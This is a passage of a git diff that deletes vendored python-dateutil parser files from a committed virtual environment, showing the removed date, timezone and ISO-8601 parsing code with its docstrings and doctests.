gettz("America/Chicago")} - >>> parse("2012-01-19 17:21:00 BRST", tzinfos=tzinfos) - datetime.datetime(2012, 1, 19, 17, 21, tzinfo=tzoffset(u'BRST', -7200)) - >>> parse("2012-01-19 17:21:00 CST", tzinfos=tzinfos) - datetime.datetime(2012, 1, 19, 17, 21, - tzinfo=tzfile('/usr/share/zoneinfo/America/Chicago')) - - This parameter is ignored if ``ignoretz`` is set. - - :param \\*\\*kwargs: - Keyword arguments as passed to ``_parse()``. - - :return: - Returns a :class:`datetime.datetime` object or, if the - ``fuzzy_with_tokens`` option is ``True``, returns a tuple, the - first element being a :class:`datetime.datetime` object, the second - a tuple containing the fuzzy tokens. - - :raises ParserError: - Raised for invalid or unknown string format, if the provided - :class:`tzinfo` is not in a valid format, or if an invalid date - would be created. - - :raises TypeError: - Raised for non-string or character stream input. - - :raises OverflowError: - Raised if the parsed date exceeds the largest valid C integer on - your system. - """ - - if default is None: - default = datetime.datetime.now().replace(hour=0, minute=0, - second=0, microsecond=0) - - res, skipped_tokens = self._parse(timestr, **kwargs) - - if res is None: - raise ParserError("Unknown string format: %s", timestr) - - if len(res) == 0: - raise ParserError("String does not contain a date: %s", timestr) - - try: - ret = self._build_naive(res, default) - except ValueError as e: - six.raise_from(ParserError(str(e) + ": %s", timestr), e) - - if not ignoretz: - ret = self._build_tzaware(ret, res, tzinfos) - - if kwargs.get('fuzzy_with_tokens', False): - return ret, skipped_tokens - else: - return ret - - class _result(_resultbase): - __slots__ = ["year", "month", "day", "weekday", - "hour", "minute", "second", "microsecond", - "tzname", "tzoffset", "ampm","any_unused_tokens"] - - def _parse(self, timestr, dayfirst=None, yearfirst=None, fuzzy=False, - fuzzy_with_tokens=False): - """ - Private method which performs the heavy lifting of parsing, called from - ``parse()``, which passes on its ``kwargs`` to this function. - - :param timestr: - The string to parse. - - :param dayfirst: - Whether to interpret the first value in an ambiguous 3-integer date - (e.g. 01/05/09) as the day (``True``) or month (``False``). If - ``yearfirst`` is set to ``True``, this distinguishes between YDM - and YMD. If set to ``None``, this value is retrieved from the - current :class:`parserinfo` object (which itself defaults to - ``False``). - - :param yearfirst: - Whether to interpret the first value in an ambiguous 3-integer date - (e.g. 01/05/09) as the year. If ``True``, the first number is taken - to be the year, otherwise the last number is taken to be the year. - If this is set to ``None``, the value is retrieved from the current - :class:`parserinfo` object (which itself defaults to ``False``). - - :param fuzzy: - Whether to allow fuzzy parsing, allowing for string like "Today is - January 1, 2047 at 8:21:00AM". - - :param fuzzy_with_tokens: - If ``True``, ``fuzzy`` is automatically set to True, and the parser - will return a tuple where the first element is the parsed - :class:`datetime.datetime` datetimestamp and the second element is - a tuple containing the portions of the string which were ignored: - - .. doctest:: - - >>> from dateutil.parser import parse - >>> parse("Today is January 1, 2047 at 8:21:00AM", fuzzy_with_tokens=True) - (datetime.datetime(2047, 1, 1, 8, 21), (u'Today is ', u' ', u'at ')) - - """ - if fuzzy_with_tokens: - fuzzy = True - - info = self.info - - if dayfirst is None: - dayfirst = info.dayfirst - - if yearfirst is None: - yearfirst = info.yearfirst - - res = self._result() - l = _timelex.split(timestr) # Splits the timestr into tokens - - skipped_idxs = [] - - # year/month/day list - ymd = _ymd() - - len_l = len(l) - i = 0 - try: - while i < len_l: - - # Check if it's a number - value_repr = l[i] - try: - value = float(value_repr) - except ValueError: - value = None - - if value is not None: - # Numeric token - i = self._parse_numeric_token(l, i, info, ymd, res, fuzzy) - - # Check weekday - elif info.weekday(l[i]) is not None: - value = info.weekday(l[i]) - res.weekday = value - - # Check month name - elif info.month(l[i]) is not None: - value = info.month(l[i]) - ymd.append(value, 'M') - - if i + 1 < len_l: - if l[i + 1] in ('-', '/'): - # Jan-01[-99] - sep = l[i + 1] - ymd.append(l[i + 2]) - - if i + 3 < len_l and l[i + 3] == sep: - # Jan-01-99 - ymd.append(l[i + 4]) - i += 2 - - i += 2 - - elif (i + 4 < len_l and l[i + 1] == l[i + 3] == ' ' and - info.pertain(l[i + 2])): - # Jan of 01 - # In this case, 01 is clearly year - if l[i + 4].isdigit(): - # Convert it here to become unambiguous - value = int(l[i + 4]) - year = str(info.convertyear(value)) - ymd.append(year, 'Y') - else: - # Wrong guess - pass - # TODO: not hit in tests - i += 4 - - # Check am/pm - elif info.ampm(l[i]) is not None: - value = info.ampm(l[i]) - val_is_ampm = self._ampm_valid(res.hour, res.ampm, fuzzy) - - if val_is_ampm: - res.hour = self._adjust_ampm(res.hour, value) - res.ampm = value - - elif fuzzy: - skipped_idxs.append(i) - - # Check for a timezone name - elif self._could_be_tzname(res.hour, res.tzname, res.tzoffset, l[i]): - res.tzname = l[i] - res.tzoffset = info.tzoffset(res.tzname) - - # Check for something like GMT+3, or BRST+3. Notice - # that it doesn't mean "I am 3 hours after GMT", but - # "my time +3 is GMT". If found, we reverse the - # logic so that timezone parsing code will get it - # right. - if i + 1 < len_l and l[i + 1] in ('+', '-'): - l[i + 1] = ('+', '-')[l[i + 1] == '+'] - res.tzoffset = None - if info.utczone(res.tzname): - # With something like GMT+3, the timezone - # is *not* GMT. - res.tzname = None - - # Check for a numbered timezone - elif res.hour is not None and l[i] in ('+', '-'): - signal = (-1, 1)[l[i] == '+'] - len_li = len(l[i + 1]) - - # TODO: check that l[i + 1] is integer? - if len_li == 4: - # -0300 - hour_offset = int(l[i + 1][:2]) - min_offset = int(l[i + 1][2:]) - elif i + 2 < len_l and l[i + 2] == ':': - # -03:00 - hour_offset = int(l[i + 1]) - min_offset = int(l[i + 3]) # TODO: Check that l[i+3] is minute-like? - i += 2 - elif len_li <= 2: - # -[0]3 - hour_offset = int(l[i + 1][:2]) - min_offset = 0 - else: - raise ValueError(timestr) - - res.tzoffset = signal * (hour_offset * 3600 + min_offset * 60) - - # Look for a timezone name between parenthesis - if (i + 5 < len_l and - info.jump(l[i + 2]) and l[i + 3] == '(' and - l[i + 5] == ')' and - 3 <= len(l[i + 4]) and - self._could_be_tzname(res.hour, res.tzname, - None, l[i + 4])): - # -0300 (BRST) - res.tzname = l[i + 4] - i += 4 - - i += 1 - - # Check jumps - elif not (info.jump(l[i]) or fuzzy): - raise ValueError(timestr) - - else: - skipped_idxs.append(i) - i += 1 - - # Process year/month/day - year, month, day = ymd.resolve_ymd(yearfirst, dayfirst) - - res.century_specified = ymd.century_specified - res.year = year - res.month = month - res.day = day - - except (IndexError, ValueError): - return None, None - - if not info.validate(res): - return None, None - - if fuzzy_with_tokens: - skipped_tokens = self._recombine_skipped(l, skipped_idxs) - return res, tuple(skipped_tokens) - else: - return res, None - - def _parse_numeric_token(self, tokens, idx, info, ymd, res, fuzzy): - # Token is a number - value_repr = tokens[idx] - try: - value = self._to_decimal(value_repr) - except Exception as e: - six.raise_from(ValueError('Unknown numeric token'), e) - - len_li = len(value_repr) - - len_l = len(tokens) - - if (len(ymd) == 3 and len_li in (2, 4) and - res.hour is None and - (idx + 1 >= len_l or - (tokens[idx + 1] != ':' and - info.hms(tokens[idx + 1]) is None))): - # 19990101T23[59] - s = tokens[idx] - res.hour = int(s[:2]) - - if len_li == 4: - res.minute = int(s[2:]) - - elif len_li == 6 or (len_li > 6 and tokens[idx].find('.') == 6): - # YYMMDD or HHMMSS[.ss] - s = tokens[idx] - - if not ymd and '.' not in tokens[idx]: - ymd.append(s[:2]) - ymd.append(s[2:4]) - ymd.append(s[4:]) - else: - # 19990101T235959[.59] - - # TODO: Check if res attributes already set. - res.hour = int(s[:2]) - res.minute = int(s[2:4]) - res.second, res.microsecond = self._parsems(s[4:]) - - elif len_li in (8, 12, 14): - # YYYYMMDD - s = tokens[idx] - ymd.append(s[:4], 'Y') - ymd.append(s[4:6]) - ymd.append(s[6:8]) - - if len_li > 8: - res.hour = int(s[8:10]) - res.minute = int(s[10:12]) - - if len_li > 12: - res.second = int(s[12:]) - - elif self._find_hms_idx(idx, tokens, info, allow_jump=True) is not None: - # HH[ ]h or MM[ ]m or SS[.ss][ ]s - hms_idx = self._find_hms_idx(idx, tokens, info, allow_jump=True) - (idx, hms) = self._parse_hms(idx, tokens, info, hms_idx) - if hms is not None: - # TODO: checking that hour/minute/second are not - # already set? - self._assign_hms(res, value_repr, hms) - - elif idx + 2 < len_l and tokens[idx + 1] == ':': - # HH:MM[:SS[.ss]] - res.hour = int(value) - value = self._to_decimal(tokens[idx + 2]) # TODO: try/except for this? - (res.minute, res.second) = self._parse_min_sec(value) - - if idx + 4 < len_l and tokens[idx + 3] == ':': - res.second, res.microsecond = self._parsems(tokens[idx + 4]) - - idx += 2 - - idx += 2 - - elif idx + 1 < len_l and tokens[idx + 1] in ('-', '/', '.'): - sep = tokens[idx + 1] - ymd.append(value_repr) - - if idx + 2 < len_l and not info.jump(tokens[idx + 2]): - if tokens[idx + 2].isdigit(): - # 01-01[-01] - ymd.append(tokens[idx + 2]) - else: - # 01-Jan[-01] - value = info.month(tokens[idx + 2]) - - if value is not None: - ymd.append(value, 'M') - else: - raise ValueError() - - if idx + 3 < len_l and tokens[idx + 3] == sep: - # We have three members - value = info.month(tokens[idx + 4]) - - if value is not None: - ymd.append(value, 'M') - else: - ymd.append(tokens[idx + 4]) - idx += 2 - - idx += 1 - idx += 1 - - elif idx + 1 >= len_l or info.jump(tokens[idx + 1]): - if idx + 2 < len_l and info.ampm(tokens[idx + 2]) is not None: - # 12 am - hour = int(value) - res.hour = self._adjust_ampm(hour, info.ampm(tokens[idx + 2])) - idx += 1 - else: - # Year, month or day - ymd.append(value) - idx += 1 - - elif info.ampm(tokens[idx + 1]) is not None and (0 <= value < 24): - # 12am - hour = int(value) - res.hour = self._adjust_ampm(hour, info.ampm(tokens[idx + 1])) - idx += 1 - - elif ymd.could_be_day(value): - ymd.append(value) - - elif not fuzzy: - raise ValueError() - - return idx - - def _find_hms_idx(self, idx, tokens, info, allow_jump): - len_l = len(tokens) - - if idx+1 < len_l and info.hms(tokens[idx+1]) is not None: - # There is an "h", "m", or "s" label following this token. We take - # assign the upcoming label to the current token. - # e.g. the "12" in 12h" - hms_idx = idx + 1 - - elif (allow_jump and idx+2 < len_l and tokens[idx+1] == ' ' and - info.hms(tokens[idx+2]) is not None): - # There is a space and then an "h", "m", or "s" label. - # e.g. the "12" in "12 h" - hms_idx = idx + 2 - - elif idx > 0 and info.hms(tokens[idx-1]) is not None: - # There is a "h", "m", or "s" preceding this token. Since neither - # of the previous cases was hit, there is no label following this - # token, so we use the previous label. - # e.g. the "04" in "12h04" - hms_idx = idx-1 - - elif (1 < idx == len_l-1 and tokens[idx-1] == ' ' and - info.hms(tokens[idx-2]) is not None): - # If we are looking at the final token, we allow for a - # backward-looking check to skip over a space. - # TODO: Are we sure this is the right condition here? - hms_idx = idx - 2 - - else: - hms_idx = None - - return hms_idx - - def _assign_hms(self, res, value_repr, hms): - # See GH issue #427, fixing float rounding - value = self._to_decimal(value_repr) - - if hms == 0: - # Hour - res.hour = int(value) - if value % 1: - res.minute = int(60*(value % 1)) - - elif hms == 1: - (res.minute, res.second) = self._parse_min_sec(value) - - elif hms == 2: - (res.second, res.microsecond) = self._parsems(value_repr) - - def _could_be_tzname(self, hour, tzname, tzoffset, token): - return (hour is not None and - tzname is None and - tzoffset is None and - len(token) <= 5 and - (all(x in string.ascii_uppercase for x in token) - or token in self.info.UTCZONE)) - - def _ampm_valid(self, hour, ampm, fuzzy): - """ - For fuzzy parsing, 'a' or 'am' (both valid English words) - may erroneously trigger the AM/PM flag. Deal with that - here. - """ - val_is_ampm = True - - # If there's already an AM/PM flag, this one isn't one. - if fuzzy and ampm is not None: - val_is_ampm = False - - # If AM/PM is found and hour is not, raise a ValueError - if hour is None: - if fuzzy: - val_is_ampm = False - else: - raise ValueError('No hour specified with AM or PM flag.') - elif not 0 <= hour <= 12: - # If AM/PM is found, it's a 12 hour clock, so raise - # an error for invalid range - if fuzzy: - val_is_ampm = False - else: - raise ValueError('Invalid hour specified for 12-hour clock.') - - return val_is_ampm - - def _adjust_ampm(self, hour, ampm): - if hour < 12 and ampm == 1: - hour += 12 - elif hour == 12 and ampm == 0: - hour = 0 - return hour - - def _parse_min_sec(self, value): - # TODO: Every usage of this function sets res.second to the return - # value. Are there any cases where second will be returned as None and - # we *don't* want to set res.second = None? - minute = int(value) - second = None - - sec_remainder = value % 1 - if sec_remainder: - second = int(60 * sec_remainder) - return (minute, second) - - def _parse_hms(self, idx, tokens, info, hms_idx): - # TODO: Is this going to admit a lot of false-positives for when we - # just happen to have digits and "h", "m" or "s" characters in non-date - # text? I guess hex hashes won't have that problem, but there's plenty - # of random junk out there. - if hms_idx is None: - hms = None - new_idx = idx - elif hms_idx > idx: - hms = info.hms(tokens[hms_idx]) - new_idx = hms_idx - else: - # Looking backwards, increment one. - hms = info.hms(tokens[hms_idx]) + 1 - new_idx = idx - - return (new_idx, hms) - - # ------------------------------------------------------------------ - # Handling for individual tokens. These are kept as methods instead - # of functions for the sake of customizability via subclassing. - - def _parsems(self, value): - """Parse a I[.F] seconds value into (seconds, microseconds).""" - if "." not in value: - return int(value), 0 - else: - i, f = value.split(".") - return int(i), int(f.ljust(6, "0")[:6]) - - def _to_decimal(self, val): - try: - decimal_value = Decimal(val) - # See GH 662, edge case, infinite value should not be converted - # via `_to_decimal` - if not decimal_value.is_finite(): - raise ValueError("Converted decimal value is infinite or NaN") - except Exception as e: - msg = "Could not convert %s to decimal" % val - six.raise_from(ValueError(msg), e) - else: - return decimal_value - - # ------------------------------------------------------------------ - # Post-Parsing construction of datetime output. These are kept as - # methods instead of functions for the sake of customizability via - # subclassing. - - def _build_tzinfo(self, tzinfos, tzname, tzoffset): - if callable(tzinfos): - tzdata = tzinfos(tzname, tzoffset) - else: - tzdata = tzinfos.get(tzname) - # handle case where tzinfo is paased an options that returns None - # eg tzinfos = {'BRST' : None} - if isinstance(tzdata, datetime.tzinfo) or tzdata is None: - tzinfo = tzdata - elif isinstance(tzdata, text_type): - tzinfo = tz.tzstr(tzdata) - elif isinstance(tzdata, integer_types): - tzinfo = tz.tzoffset(tzname, tzdata) - else: - raise TypeError("Offset must be tzinfo subclass, tz string, " - "or int offset.") - return tzinfo - - def _build_tzaware(self, naive, res, tzinfos): - if (callable(tzinfos) or (tzinfos and res.tzname in tzinfos)): - tzinfo = self._build_tzinfo(tzinfos, res.tzname, res.tzoffset) - aware = naive.replace(tzinfo=tzinfo) - aware = self._assign_tzname(aware, res.tzname) - - elif res.tzname and res.tzname in time.tzname: - aware = naive.replace(tzinfo=tz.tzlocal()) - - # Handle ambiguous local datetime - aware = self._assign_tzname(aware, res.tzname) - - # This is mostly relevant for winter GMT zones parsed in the UK - if (aware.tzname() != res.tzname and - res.tzname in self.info.UTCZONE): - aware = aware.replace(tzinfo=tz.UTC) - - elif res.tzoffset == 0: - aware = naive.replace(tzinfo=tz.UTC) - - elif res.tzoffset: - aware = naive.replace(tzinfo=tz.tzoffset(res.tzname, res.tzoffset)) - - elif not res.tzname and not res.tzoffset: - # i.e. no timezone information was found. - aware = naive - - elif res.tzname: - # tz-like string was parsed but we don't know what to do - # with it - warnings.warn("tzname {tzname} identified but not understood. " - "Pass `tzinfos` argument in order to correctly " - "return a timezone-aware datetime. In a future " - "version, this will raise an " - "exception.".format(tzname=res.tzname), - category=UnknownTimezoneWarning) - aware = naive - - return aware - - def _build_naive(self, res, default): - repl = {} - for attr in ("year", "month", "day", "hour", - "minute", "second", "microsecond"): - value = getattr(res, attr) - if value is not None: - repl[attr] = value - - if 'day' not in repl: - # If the default day exceeds the last day of the month, fall back - # to the end of the month. - cyear = default.year if res.year is None else res.year - cmonth = default.month if res.month is None else res.month - cday = default.day if res.day is None else res.day - - if cday > monthrange(cyear, cmonth)[1]: - repl['day'] = monthrange(cyear, cmonth)[1] - - naive = default.replace(**repl) - - if res.weekday is not None and not res.day: - naive = naive + relativedelta.relativedelta(weekday=res.weekday) - - return naive - - def _assign_tzname(self, dt, tzname): - if dt.tzname() != tzname: - new_dt = tz.enfold(dt, fold=1) - if new_dt.tzname() == tzname: - return new_dt - - return dt - - def _recombine_skipped(self, tokens, skipped_idxs): - """ - >>> tokens = ["foo", " ", "bar", " ", "19June2000", "baz"] - >>> skipped_idxs = [0, 1, 2, 5] - >>> _recombine_skipped(tokens, skipped_idxs) - ["foo bar", "baz"] - """ - skipped_tokens = [] - for i, idx in enumerate(sorted(skipped_idxs)): - if i > 0 and idx - 1 == skipped_idxs[i - 1]: - skipped_tokens[-1] = skipped_tokens[-1] + tokens[idx] - else: - skipped_tokens.append(tokens[idx]) - - return skipped_tokens - - -DEFAULTPARSER = parser() - - -def parse(timestr, parserinfo=None, **kwargs): - """ - - Parse a string in one of the supported formats, using the - ``parserinfo`` parameters. - - :param timestr: - A string containing a date/time stamp. - - :param parserinfo: - A :class:`parserinfo` object containing parameters for the parser. - If ``None``, the default arguments to the :class:`parserinfo` - constructor are used. - - The ``**kwargs`` parameter takes the following keyword arguments: - - :param default: - The default datetime object, if this is a datetime object and not - ``None``, elements specified in ``timestr`` replace elements in the - default object. - - :param ignoretz: - If set ``True``, time zones in parsed strings are ignored and a naive - :class:`datetime` object is returned. - - :param tzinfos: - Additional time zone names / aliases which may be present in the - string. This argument maps time zone names (and optionally offsets - from those time zones) to time zones. This parameter can be a - dictionary with timezone aliases mapping time zone names to time - zones or a function taking two parameters (``tzname`` and - ``tzoffset``) and returning a time zone. - - The timezones to which the names are mapped can be an integer - offset from UTC in seconds or a :class:`tzinfo` object. - - .. doctest:: - :options: +NORMALIZE_WHITESPACE - - >>> from dateutil.parser import parse - >>> from dateutil.tz import gettz - >>> tzinfos = {"BRST": -7200, "CST": gettz("America/Chicago")} - >>> parse("2012-01-19 17:21:00 BRST", tzinfos=tzinfos) - datetime.datetime(2012, 1, 19, 17, 21, tzinfo=tzoffset(u'BRST', -7200)) - >>> parse("2012-01-19 17:21:00 CST", tzinfos=tzinfos) - datetime.datetime(2012, 1, 19, 17, 21, - tzinfo=tzfile('/usr/share/zoneinfo/America/Chicago')) - - This parameter is ignored if ``ignoretz`` is set. - - :param dayfirst: - Whether to interpret the first value in an ambiguous 3-integer date - (e.g. 01/05/09) as the day (``True``) or month (``False``). If - ``yearfirst`` is set to ``True``, this distinguishes between YDM and - YMD. If set to ``None``, this value is retrieved from the current - :class:`parserinfo` object (which itself defaults to ``False``). - - :param yearfirst: - Whether to interpret the first value in an ambiguous 3-integer date - (e.g. 01/05/09) as the year. If ``True``, the first number is taken to - be the year, otherwise the last number is taken to be the year. If - this is set to ``None``, the value is retrieved from the current - :class:`parserinfo` object (which itself defaults to ``False``). - - :param fuzzy: - Whether to allow fuzzy parsing, allowing for string like "Today is - January 1, 2047 at 8:21:00AM". - - :param fuzzy_with_tokens: - If ``True``, ``fuzzy`` is automatically set to True, and the parser - will return a tuple where the first element is the parsed - :class:`datetime.datetime` datetimestamp and the second element is - a tuple containing the portions of the string which were ignored: - - .. doctest:: - - >>> from dateutil.parser import parse - >>> parse("Today is January 1, 2047 at 8:21:00AM", fuzzy_with_tokens=True) - (datetime.datetime(2047, 1, 1, 8, 21), (u'Today is ', u' ', u'at ')) - - :return: - Returns a :class:`datetime.datetime` object or, if the - ``fuzzy_with_tokens`` option is ``True``, returns a tuple, the - first element being a :class:`datetime.datetime` object, the second - a tuple containing the fuzzy tokens. - - :raises ParserError: - Raised for invalid or unknown string formats, if the provided - :class:`tzinfo` is not in a valid format, or if an invalid date would - be created. - - :raises OverflowError: - Raised if the parsed date exceeds the largest valid C integer on - your system. - """ - if parserinfo: - return parser(parserinfo).parse(timestr, **kwargs) - else: - return DEFAULTPARSER.parse(timestr, **kwargs) - - -class _tzparser(object): - - class _result(_resultbase): - - __slots__ = ["stdabbr", "stdoffset", "dstabbr", "dstoffset", - "start", "end"] - - class _attr(_resultbase): - __slots__ = ["month", "week", "weekday", - "yday", "jyday", "day", "time"] - - def __repr__(self): - return self._repr("") - - def __init__(self): - _resultbase.__init__(self) - self.start = self._attr() - self.end = self._attr() - - def parse(self, tzstr): - res = self._result() - l = [x for x in re.split(r'([,:.]|[a-zA-Z]+|[0-9]+)',tzstr) if x] - used_idxs = list() - try: - - len_l = len(l) - - i = 0 - while i < len_l: - # BRST+3[BRDT[+2]] - j = i - while j < len_l and not [x for x in l[j] - if x in "0123456789:,-+"]: - j += 1 - if j != i: - if not res.stdabbr: - offattr = "stdoffset" - res.stdabbr = "".join(l[i:j]) - else: - offattr = "dstoffset" - res.dstabbr = "".join(l[i:j]) - - for ii in range(j): - used_idxs.append(ii) - i = j - if (i < len_l and (l[i] in ('+', '-') or l[i][0] in - "0123456789")): - if l[i] in ('+', '-'): - # Yes, that's right. See the TZ variable - # documentation. - signal = (1, -1)[l[i] == '+'] - used_idxs.append(i) - i += 1 - else: - signal = -1 - len_li = len(l[i]) - if len_li == 4: - # -0300 - setattr(res, offattr, (int(l[i][:2]) * 3600 + - int(l[i][2:]) * 60) * signal) - elif i + 1 < len_l and l[i + 1] == ':': - # -03:00 - setattr(res, offattr, - (int(l[i]) * 3600 + - int(l[i + 2]) * 60) * signal) - used_idxs.append(i) - i += 2 - elif len_li <= 2: - # -[0]3 - setattr(res, offattr, - int(l[i][:2]) * 3600 * signal) - else: - return None - used_idxs.append(i) - i += 1 - if res.dstabbr: - break - else: - break - - - if i < len_l: - for j in range(i, len_l): - if l[j] == ';': - l[j] = ',' - - assert l[i] == ',' - - i += 1 - - if i >= len_l: - pass - elif (8 <= l.count(',') <= 9 and - not [y for x in l[i:] if x != ',' - for y in x if y not in "0123456789+-"]): - # GMT0BST,3,0,30,3600,10,0,26,7200[,3600] - for x in (res.start, res.end): - x.month = int(l[i]) - used_idxs.append(i) - i += 2 - if l[i] == '-': - value = int(l[i + 1]) * -1 - used_idxs.append(i) - i += 1 - else: - value = int(l[i]) - used_idxs.append(i) - i += 2 - if value: - x.week = value - x.weekday = (int(l[i]) - 1) % 7 - else: - x.day = int(l[i]) - used_idxs.append(i) - i += 2 - x.time = int(l[i]) - used_idxs.append(i) - i += 2 - if i < len_l: - if l[i] in ('-', '+'): - signal = (-1, 1)[l[i] == "+"] - used_idxs.append(i) - i += 1 - else: - signal = 1 - used_idxs.append(i) - res.dstoffset = (res.stdoffset + int(l[i]) * signal) - - # This was a made-up format that is not in normal use - warn(('Parsed time zone "%s"' % tzstr) + - 'is in a non-standard dateutil-specific format, which ' + - 'is now deprecated; support for parsing this format ' + - 'will be removed in future versions. It is recommended ' + - 'that you switch to a standard format like the GNU ' + - 'TZ variable format.', tz.DeprecatedTzFormatWarning) - elif (l.count(',') == 2 and l[i:].count('/') <= 2 and - not [y for x in l[i:] if x not in (',', '/', 'J', 'M', - '.', '-', ':') - for y in x if y not in "0123456789"]): - for x in (res.start, res.end): - if l[i] == 'J': - # non-leap year day (1 based) - used_idxs.append(i) - i += 1 - x.jyday = int(l[i]) - elif l[i] == 'M': - # month[-.]week[-.]weekday - used_idxs.append(i) - i += 1 - x.month = int(l[i]) - used_idxs.append(i) - i += 1 - assert l[i] in ('-', '.') - used_idxs.append(i) - i += 1 - x.week = int(l[i]) - if x.week == 5: - x.week = -1 - used_idxs.append(i) - i += 1 - assert l[i] in ('-', '.') - used_idxs.append(i) - i += 1 - x.weekday = (int(l[i]) - 1) % 7 - else: - # year day (zero based) - x.yday = int(l[i]) + 1 - - used_idxs.append(i) - i += 1 - - if i < len_l and l[i] == '/': - used_idxs.append(i) - i += 1 - # start time - len_li = len(l[i]) - if len_li == 4: - # -0300 - x.time = (int(l[i][:2]) * 3600 + - int(l[i][2:]) * 60) - elif i + 1 < len_l and l[i + 1] == ':': - # -03:00 - x.time = int(l[i]) * 3600 + int(l[i + 2]) * 60 - used_idxs.append(i) - i += 2 - if i + 1 < len_l and l[i + 1] == ':': - used_idxs.append(i) - i += 2 - x.time += int(l[i]) - elif len_li <= 2: - # -[0]3 - x.time = (int(l[i][:2]) * 3600) - else: - return None - used_idxs.append(i) - i += 1 - - assert i == len_l or l[i] == ',' - - i += 1 - - assert i >= len_l - - except (IndexError, ValueError, AssertionError): - return None - - unused_idxs = set(range(len_l)).difference(used_idxs) - res.any_unused_tokens = not {l[n] for n in unused_idxs}.issubset({",",":"}) - return res - - -DEFAULTTZPARSER = _tzparser() - - -def _parsetz(tzstr): - return DEFAULTTZPARSER.parse(tzstr) - - -class ParserError(ValueError): - """Exception subclass used for any failure to parse a datetime string. - - This is a subclass of :py:exc:`ValueError`, and should be raised any time - earlier versions of ``dateutil`` would have raised ``ValueError``. - - .. versionadded:: 2.8.1 - """ - def __str__(self): - try: - return self.args[0] % self.args[1:] - except (TypeError, IndexError): - return super(ParserError, self).__str__() - - def __repr__(self): - args = ", ".join("'%s'" % arg for arg in self.args) - return "%s(%s)" % (self.__class__.__name__, args) - - -class UnknownTimezoneWarning(RuntimeWarning): - """Raised when the parser finds a timezone it cannot parse into a tzinfo. - - .. versionadded:: 2.7.0 - """ -# vim:ts=4:sw=4:et diff --git a/venv/Lib/site-packages/dateutil/parser/isoparser.py b/venv/Lib/site-packages/dateutil/parser/isoparser.py deleted file mode 100644 index 7060087df4776a07347cbb60127a70db393e3a65..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/dateutil/parser/isoparser.py +++ /dev/null @@ -1,416 +0,0 @@ -# -*- coding: utf-8 -*- -""" -This module offers a parser for ISO-8601 strings - -It is intended to support all valid date, time and datetime formats per the -ISO-8601 specification. - -..versionadded:: 2.7.0 -""" -from datetime import datetime, timedelta, time, date -import calendar -from dateutil import tz - -from functools import wraps - -import re -import six - -__all__ = ["isoparse", "isoparser"] - - -def _takes_ascii(f): - @wraps(f) - def func(self, str_in, *args, **kwargs): - # If it's a stream, read the whole thing - str_in = getattr(str_in, 'read', lambda: str_in)() - - # If it's unicode, turn it into bytes, since ISO-8601 only covers ASCII - if isinstance(str_in, six.text_type): - # ASCII is the same in UTF-8 - try: - str_in = str_in.encode('ascii') - except UnicodeEncodeError as e: - msg = 'ISO-8601 strings should contain only ASCII characters' - six.raise_from(ValueError(msg), e) - - return f(self, str_in, *args, **kwargs) - - return func - - -class isoparser(object): - def __init__(self, sep=None): - """ - :param sep: - A single character that separates date and time portions. If - ``None``, the parser will accept any single character. - For strict ISO-8601 adherence, pass ``'T'``. - """ - if sep is not None: - if (len(sep) != 1 or ord(sep) >= 128 or sep in '0123456789'): - raise ValueError('Separator must be a single, non-numeric ' + - 'ASCII character') - - sep = sep.encode('ascii') - - self._sep = sep - - @_takes_ascii - def isoparse(self, dt_str): - """ - Parse an ISO-8601 datetime string into a :class:`datetime.datetime`. - - An ISO-8601 datetime string consists of a date portion, followed - optionally by a time portion - the date and time portions are separated - by a single character separator, which is ``T`` in the official - standard. Incomplete date formats (such as ``YYYY-MM``) may *not* be - combined with a time portion. - - Supported date formats are: - - Common: - - - ``YYYY`` - - ``YYYY-MM`` - - ``YYYY-MM-DD`` or ``YYYYMMDD`` - - Uncommon: - - - ``YYYY-Www`` or ``YYYYWww`` - ISO week (day defaults to 0) - - ``YYYY-Www-D`` or ``YYYYWwwD`` - ISO week and day - - The ISO week and day numbering follows the same logic as - :func:`datetime.date.isocalendar`. - - Supported time formats are: - - - ``hh`` - - ``hh:mm`` or ``hhmm`` - - ``hh:mm:ss`` or ``hhmmss`` - - ``hh:mm:ss.ssssss`` (Up to 6 sub-second digits) - - Midnight is a special case for `hh`, as the standard supports both - 00:00 and 24:00 as a representation. The decimal separator can be - either a dot or a comma. - - - .. caution:: - - Support for fractional components other than seconds is part of the - ISO-8601 standard, but is not currently implemented in this parser. - - Supported time zone offset formats are: - - - `Z` (UTC) - - `±HH:MM` - - `±HHMM` - - `±HH` - - Offsets will be represented as :class:`dateutil.tz.tzoffset` objects, - with the exception of UTC, which will be represented as - :class:`dateutil.tz.tzutc`. Time zone offsets equivalent to UTC (such - as `+00:00`) will also be represented as :class:`dateutil.tz.tzutc`. - - :param dt_str: - A string or stream containing only an ISO-8601 datetime string - - :return: - Returns a :class:`datetime.datetime` representing the string. - Unspecified components default to their lowest value. - - .. warning:: - - As of version 2.7.0, the strictness of the parser should not be - considered a stable part of the contract. Any valid ISO-8601 string - that parses correctly with the default settings will continue to - parse correctly in future versions, but invalid strings that - currently fail (e.g. ``2017-01-01T00:00+00:00:00``) are not - guaranteed to continue failing in future versions if they encode - a valid date. - - .. versionadded:: 2.7.0 - """ - components, pos = self._parse_isodate(dt_str) - - if len(dt_str) > pos: - if self._sep is None or dt_str[pos:pos + 1] == self._sep: - components += self._parse_isotime(dt_str[pos + 1:]) - else: - raise ValueError('String contains unknown ISO components') - - if len(components) > 3 and components[3] == 24: - components[3] = 0 - return datetime(*components) + timedelta(days=1) - - return datetime(*components) - - @_takes_ascii - def parse_isodate(self, datestr): - """ - Parse the date portion of an ISO string. - - :param datestr: - The string portion of an ISO string, without a separator - - :return: - Returns a :class:`datetime.date` object - """ - components, pos = self._parse_isodate(datestr) - if pos < len(datestr): - raise ValueError('String contains unknown ISO ' + - 'components: {!r}'.format(datestr.decode('ascii'))) - return date(*components) - - @_takes_ascii - def parse_isotime(self, timestr): - """ - Parse the time portion of an ISO string. - - :param timestr: - The time portion of an ISO string, without a separator - - :return: - Returns a :class:`datetime.time` object - """ - components = self._parse_isotime(timestr) - if components[0] == 24: - components[0] = 0 - return time(*components) - - @_takes_ascii - def parse_tzstr(self, tzstr, zero_as_utc=True): - """ - Parse a valid ISO time zone string. - - See :func:`isoparser.isoparse` for details on supported formats. - - :param tzstr: - A string representing an ISO time zone offset - - :param zero_as_utc: - Whether to return :class:`dateutil.tz.tzutc` for zero-offset zones - - :return: - Returns :class:`dateutil.tz.tzoffset` for offsets and - :class:`dateutil.tz.tzutc` for ``Z`` and (if ``zero_as_utc`` is - specified) offsets equivalent to UTC. - """ - return 